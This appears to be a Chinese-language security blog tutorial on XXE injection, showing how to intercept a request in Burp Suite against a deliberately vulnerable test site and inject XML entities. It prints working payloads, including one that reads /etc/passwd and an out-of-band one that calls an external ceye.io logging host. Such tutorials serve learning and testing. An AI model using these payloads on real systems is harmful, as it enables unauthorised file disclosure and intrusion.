xxe漏洞呀

xxe漏洞就是能直接在请求里可以引用一个实体,然后造成读文件,只需要懂这个基本攻击原理就行

先了解什么是xxe

xml外部实体注入简称xxe,注入的什么呢  一段xml代码

就是一个请求里 可以携带一个xml引用,然后可以读文件

https://security.tencent.com/index.php/blog/msg/69 腾讯也有一篇关于xxe的讲义

来操作一哈

打开burpsuite设置监听,浏览器也设置代理,端口8080

打开http://testhtml5.vulnweb.com/这个网址,登陆,账号密码都输admin,点忘记密码

如果打不开这个网,可能是开了拦截,要关掉

然后再去proxy里找请求

然后发送到  send to repeater

点一下go

然后你改下下面的请求

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY myentity "xiaoyu"> ]> <forgot><username>&myentity;</username></forgot>

读出xiaoyu了 证明存在xxe

不过不能这么读,读不了etc/passwd

改了攻击的荷载它无法识别

昨天我们不是说了 xxe的基本的几个攻击荷载吗,这个用不了,在这个漏洞里

看这个例子https://www.secpulse.com/archives/41154.html

这个攻击荷载是这个

<!DOCTYPE z [<!ENTITY test  SYSTEM "file:///etc/passwd" >]>

这个是别人文章里的例子

http://www.freebuf.com/articles/web/126788.html

这个是owasp top web安全组织 对于xxe的全英文讲解

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

怎么找xxe漏洞呢?就得看这个ppt了

第一种 简单概括为 wsdl后缀得

http://wooyun.jozxing.cc/search?keywords=xxe&content_search_by=by_bugs

这里有更多得实例去做参考

这个漏洞我自己挖到的很少,因为有些没回显,还需要借助ceye.io

它在这个荷载里加入这个 可以判断是否存在xxe,我们可以拿刚才的testhtml5.vulweb.com做下实验

有一条请求

这里它和awvs判断的依据是一样的,读取了这个服务器的ip

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.ly4ei1.ceye.io/xxe_test"> %remote;]> <root/>

这里改成你的地址

用burpsuite请求一下,然后去看日志

这是我的地址啦

猜你喜欢

转载自www.cnblogs.com/Tiny-Fish/p/9194102.html